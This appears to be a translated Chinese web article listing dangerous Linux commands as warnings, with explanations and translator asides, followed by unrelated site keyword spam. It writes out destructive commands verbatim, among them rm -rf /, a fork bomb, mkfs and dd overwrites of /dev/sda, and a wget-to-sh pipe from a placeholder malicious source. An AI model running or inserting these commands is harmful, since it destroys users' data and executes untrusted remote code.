千家信息网

Linux系统中最危险的命令有哪些

发表于:2025-01-19 作者:千家信息网编辑
千家信息网最后更新 2025年01月19日,这篇文章主要介绍"Linux系统中最危险的命令有哪些"的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇"Linux系统中最危险的命令有哪些"文章能帮助大家解决问题。
千家信息网最后更新 2025年01月19日Linux系统中最危险的命令有哪些

这篇文章主要介绍"Linux系统中最危险的命令有哪些"的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇"Linux系统中最危险的命令有哪些"文章能帮助大家解决问题。

接触过Linux系统的朋友都知道"rm -rf /*"可不是个友善的命令,执行的后果相比大家都知道。

1. rm -rf 命令

rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。

下列是一些rm 命令的选项。

rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是"甚至是非空的文件夹")rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。)rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了……)rm -rf *: 强制删除当前目录的所有文件。rm -rf . : 强制删除当前文件夹及其子文件夹。

无论什么时候,当你要执行rm -rf命令时都需要留心一点。建议在".bashrc"文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。


2. :(){:|:&};: 命令

:(){ : | : &};:

说明:

:在这里是一个函数名,我们定义之,并在后面执行它。

:|:&,:函数的输出通过管道传给另一个冒号函数作为输入,并且在后台执行。

{ };标识着里面的内容是一个函数主体。

:为定义完成后的一次函数执行。

这是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

原理解析

首先需要说明的是:是一个shell内置命令,所以上面这段代码只有在bash中才可能产生fork炸弹,因为在其他一些shell中,内置命令的优先级高于函数,所以执行:,总是执行内置命令。(:是一个空命令,while true等同于 while :,常用作占位符)

先来看看函数的主体:|:&,使用管道的时候是两个进程同时开始执行。

所以当执行一个:函数时,产生两个新进程,然后一个原来的进程退出,这样不停地递归下去,就产生了一个无限递归。按照这个增长模式的化,其增长趋势约为2n2n。

切记!千万别在公司正式的服务器上实验~~


3. 命令> /dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。


4. mv 文件夹 /dev/null

这个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。

(其实这就是Linux所说的黑洞,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的恢复,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成)

上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。


5. wget http://malicious_source -O- | sh

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

当遇到这种需要时,我一般做法是先wget下来,然后我去读一读其中到底写了些什么,最后考虑是否执行。


6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,在执行上列命令后块设备(硬盘驱动器)会被格式化,崭新的!

没有任何数据,直接让你的系统达到不可恢复的阶段。

切记!无论什么时候在生产都不能执行上述命令!


7. > file

上列命令常用来清空文件内容(通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了)。

如果用上列执行时输入错误或无知的输入类似 ">xt.conf" 的命令会覆盖配置文件或其他任何的系统配置文件。


8. ^foo^bar

这个命令是用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。

事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的"黑客"技巧。


9. dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。

上面其实有提到mv到黑洞并不能彻底删除数据,那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。


10. 隐藏命令

下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

大家在工作时不到万不得已千万不要使用这些命令,即使要使用一定要再三确认。

关于"Linux系统中最危险的命令有哪些"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注行业资讯频道,小编每天都会为大家更新不同的知识点。

命令 文件 系统 文件夹 函数 数据 设备 内容 脚本 危险 就是 黑洞 输出 运行 原始 无知 代码 只是 时候 目录 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 服务器关闭防火墙还是无法访问 博拉网络技术水平 交易软件开发机构 建立和落实网络安全文件 理正数据库设置导向 原神为什么会出现无法连接服务器 刺激战场游戏服务器分布 按键精灵还原数据库 安卓软件开发学费 rest实时数据库接口控件 新建数据库默认值是多少 甲骨文免费服务器有人注册成功吗 登录数据库sys口令无效 开课吧数据库的由来和发展 广东恒充互联网科技 网上改造服务器 网络安全知识班会心得200字 数据库设计人事档案管理系统 软件开发行业合同付款管理 计算机网络技术有哪几种 sql数据库开放端口 腾讯制作3d服务器 做h5软件开发的工资多高 青岛分销软件开发哪家靠谱 2021学生网络安全视频 mysql数据库的用户权限管理 网络安全周2020开幕式地点 金融行业软件开发资质 学校微机实验室服务器可以不开吗 汽车电子总线网络技术包括
0